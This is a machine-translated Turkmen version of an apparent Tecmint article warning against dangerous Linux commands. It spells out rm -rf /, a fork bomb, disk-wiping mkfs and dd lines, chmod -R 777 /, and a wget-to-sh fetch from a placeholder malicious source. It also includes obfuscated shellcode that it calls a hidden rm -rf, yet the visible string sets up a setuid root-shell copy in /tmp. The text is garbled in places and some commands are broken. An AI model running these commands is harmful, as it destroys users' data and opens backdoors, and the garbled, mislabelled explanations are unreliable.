Iň howply buýruklar - Linux-da hiç wagt ýerine ýetirmeli däl


Buýruk setiri interfeýsi Linux ulgamyny dolandyrmak üçin güýçli we amatly peýdalydyr. Esasanam grafiki interfeýsi bolmadyk kellesiz ulgamlary dolandyrmakda ulgamy çalt we köptaraply usul bilen üpjün edýär.

Ulgamyňyzy dolandyrmakda peýdaly bolsa-da, buýruk setiri töwekgelçiliklerden doly. Erbet buýruklary işletmek ulgamyňyza zyýan we öwezini dolup bolmajak zeper ýetirip biler. Bu gollanmada ulgamyňyzda ýerine ýetirmek hakda pikir etmeli däl käbir töwekgelçilikli buýruklaryň sanawyny düzdük.

1. rm -rf/Buýruk

Rm buýrugy, ulanylýan argumentlere baglylykda faýllary we kataloglary ýok etmek üçin ulanylýan Linux buýrugydyr. Şeýle-de bolsa, rm buýrugyny azajyk ýalňyşlyk hökmünde ulananyňyzda gaty seresap bolmaly ýa-da ýalňyşlyk ulgamyň öwezini dolup bilmez.

-rf/ opsiýasy bilen kök hökmünde ýerine ýetirilende, buýruk Linux-da iň ýokary bolan (/) kökünden başlap ulgamyňyzdaky ähli faýllary we kataloglary yzygiderli pozýar. Faýl iýerarhiýasynyň gurluşy. Gysgaça aýdylanda, rm -rf/ buýrugy ulgamyňyzy doly süpürýär we netijede ulgamyň döwülmegine we dikeldilmezligine sebäp bolýar.

Rm buýrugy bilen ulanylýan käbir wariantlar.

    Linux-da rm buýrugy faýllary ýok etmek üçin ulanylýar.
  • rm -r buýrugy, hatda boş bukjany-da gaýtalaýar.
  • rm -f buýrugy soramazdan Diňe Faýly oka aýyrýar.
  • rm -rf /: Kök katalogyndaky hemme zady ýok etmek.
  • rm -rf *: Häzirki katalogda/iş bukjasyndaky hemme zady zor bilen ýok etmek.
  • rm -rf. : Häzirki bukjany we kiçi bukjalary zor bilen ýok etmek.

Aslynda buýrugy adaty ulanyjy hökmünde işledeniňizde, terminalda iki sany duýduryş alarsyňyz.

Faýllaryň rm buýrugy bilen tötänleýin ýok edilmegini ýeňip geçmek üçin, rm -i faýlynda rm -i lakamyny dörediň, her pozulmany tassyklamagyňyzy haýyş eder.

2 .:() {: |: &};: Buýruk

Aboveokardakylar aslynda çeňňek bomba. Özüni iki gezek, öň hatarda we bir gezek fonda çagyrýan : atly bir funksiýa döretmek arkaly işleýär. Funksiýa yzygiderli ýerine ýetirilýär we şeýle etmek bilen ulgamyň çökmegine sebäp bolan ähli ulgam çeşmelerini sarp edýär.

Aslynda, çeňňek bomba buýrugy aslynda DoS (Hyzmatdan ýüz öwürmek) hüjüminiň bir görnüşidir. Wabbit ýa-da Towşan wirusy hem diýilýär. Iň erbet tarapy, bu hüjümi amala aşyrmak üçin kök bolmaly däl.

Bagtymyza, ýerli ulanyjylar tarapyndan dolandyrylýan amallaryň sanyny 4000 töweregi bilen çäklendirip, bu hüjümden goranyp bilersiňiz.

Buýrugy işledip bilersiňiz:

$ ulimit -S -u 4000

Soňra buýrugy ulanyp tassyklap bilersiňiz:

$ ulimit -u

3. buýruk>/dev/sda

>/dev/sda yzyndaky buýrugy işletmek, gaty diskiňizdäki /dev/sda blokuny ýazýar. Bu blokda faýl ulgamy maglumatlary bar we gaýtadan ýazylanda öwezini dolup bolmajak zeper ýeten ulgam ýüze çykýar.

4. mv bukjasy/dev/null

Synap görmeli däl başga bir zyýanly amal, bukjany ýa-da faýly /dev/null -e geçirmekdir. /dev/null faýly, null enjam ýa-da “gara deşik” diýlip atlandyrylýan ýörite faýl görnüşidir. /dev/null göçürilen islendik zat taşlanýar we ýok edilýär.

Aşakdaky buýruk, ulanyjynyň öý katalogynyň ähli mazmunyny /dev/null -e geçirýär we netijede ulanyjynyň öý bukjasyndaky ähli maglumatlary taşlaýar.

# mv /home/user/* /dev/null

5. wget http:// zyýanly_source -O- | sh

Wget buýrugy web ýa-da faýl serwerinden faýllary göçürip alýan buýrukdyr. Aboveokardaky buýruk zyýanly çeşmeden skript göçürip alýar we ýerine ýetirýär.

6. mkfs.ext3/dev/sda

Mkfs buýrugy formatlanan ammar enjamynda täze faýl ulgamyny (ýa-da ext2, ext3, ext4 we ş.m.) döredýär, köplenç gaty diskiň bölegi. Mkfs buýrugyny bölümde işletmek, içindäki ähli maglumatlary süpürýär.

Disk bölümlerini formatlamakda peýdaly bolsa-da, tutuş diski formatlamak (mkfs.ext3/dev/sda ýaly) ulgamy ýykýar we yzyna gaýtaryp bolmajak ýagdaýda galdyrýar. Bu, şahsy maglumatlaryňyz bilen birlikde ähli ulgam faýllaryny ýok edýändigi sebäpli bolup geçýär.

Buýruk aşakda görkezilişi ýaly başga görnüşleri hem alyp biler.

# mkfs.ext4 /dev/sda
# mkfs.xfs /dev/sda
# mkfs.btrfs /dev/sda

7.> buýruk buýrugy

> faýly faýlyň mazmunyny süpürýär we boş goýýar. Pişik/dev/null> faýl buýrugy bilen manydaş. Şonuň üçin Linux ulgamynda gönükdirme operatorlaryny ulananyňyzda seresap bolmaly.

Aşakda bu buýrugyň tekst faýlynyň üstünden nädip ýazylýandygyny görkezýär. Bu buýruk konfigurasiýa faýly bolanda bu buýrugyň döredip biljek betbagtlygyny göz öňüne getirip bilersiňiz.

8. ^foo ^bar

^foo ^bar buýrugy, ýerine ýetirilişine baglylykda peýdaly bolşy ýaly howply. Öň ýerine ýetirilen buýruklary redaktirlemäge we täzeden ýerine ýetirmäge mümkinçilik berýän bolsa-da, buýruklary ulanmazdan ozal edilen üýtgeşmeler bilen gyzyklanmaýan bolsaňyz, zyýanly bolup biler.

9. dd if =/dev/tötänleýin =/dev/sda

Aboveokardaky buýruk/dev/sda blokuny süpürýär we blokda tötänleýin gereksiz maglumatlary ýazýar. Ulgamyňyz biri-birine gabat gelmeýän we dikeldip bolmajak döwürde galar.

10. Chmod -R 777 /

Linux ulgamyňyzy derrew ýykyp bilmeýän hem bolsa, chmod -R 777/ buýrugy Linux ulgamyňyzdaky ähli faýllara kökden başlap ähli rugsatlary (okaň, ýazyň we ýerine ýetiriň) yzygiderli belleýär.

Bu, ähli möhüm konfigurasiýa faýllaryny we beýleki faýllary ähli ulanyjylara netijeli açýar we bu ulgamyňyza uly howp döredýär. Nejis niýetli islendik adam möhüm faýllar bilen gyzyklanyp, ulgamyňyzy aňsatlyk bilen döwüp biler.

11. Gizlin buýruk

Aşakdaky buýruk (rm -rf) ýokardaky birinji buýrukdan başga zat däl. Bu ýerde kodlar, nadan ulanyjynyň aldanmagy üçin altyda gizlenýär. Terminalda aşakdaky kody işletmek kök bölümiňizi süpürer.

Bu ýerdäki buýruk howpuň gizlenip biljekdigini we käwagt adatça ýüze çykyp bilmejekdigini görkezýär. Näme edýändigiňizi we netijäniň nähili boljakdygyny bilmelisiňiz. Näbelli çeşmeden kodlary düzmäň/işletmäň.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Bellik: aboveokardaky buýruklaryň haýsydyr birini Linux terminalyňyzda ýa-da gabyňyzda ýa-da dostuňyzda ýa-da mekdep kompýuteriňizde ýerine ýetirmäň. Olary synap görmek isleseňiz, wirtual maşynda işlediň.

Aboveokardaky buýrugyň ýerine ýetirilmegi sebäpli islendik gapma-garşylyk ýa-da maglumat ýitirilmegi, makalanyň awtory ýa-da Tecmint jogapkär däl ulgamyňyzy bozar.

Bularyň hemmesi häzirlikçe. Soonakyn wagtda ýene bir gezek siziň okamagyňyzy halaýan başga bir gyzykly makala bilen gelerin. Şoňa çenli yzygiderli boluň we Tecmint-e birikdiriň.

Şeýle howply Linux buýruklaryny bilýän bolsaňyz we olary sanawa goşmagymyzy isleseňiz, düşündiriş bölüminiň üsti bilen bize aýdyň we gymmatly pikirleriňizi bermegi ýatdan çykarmaň.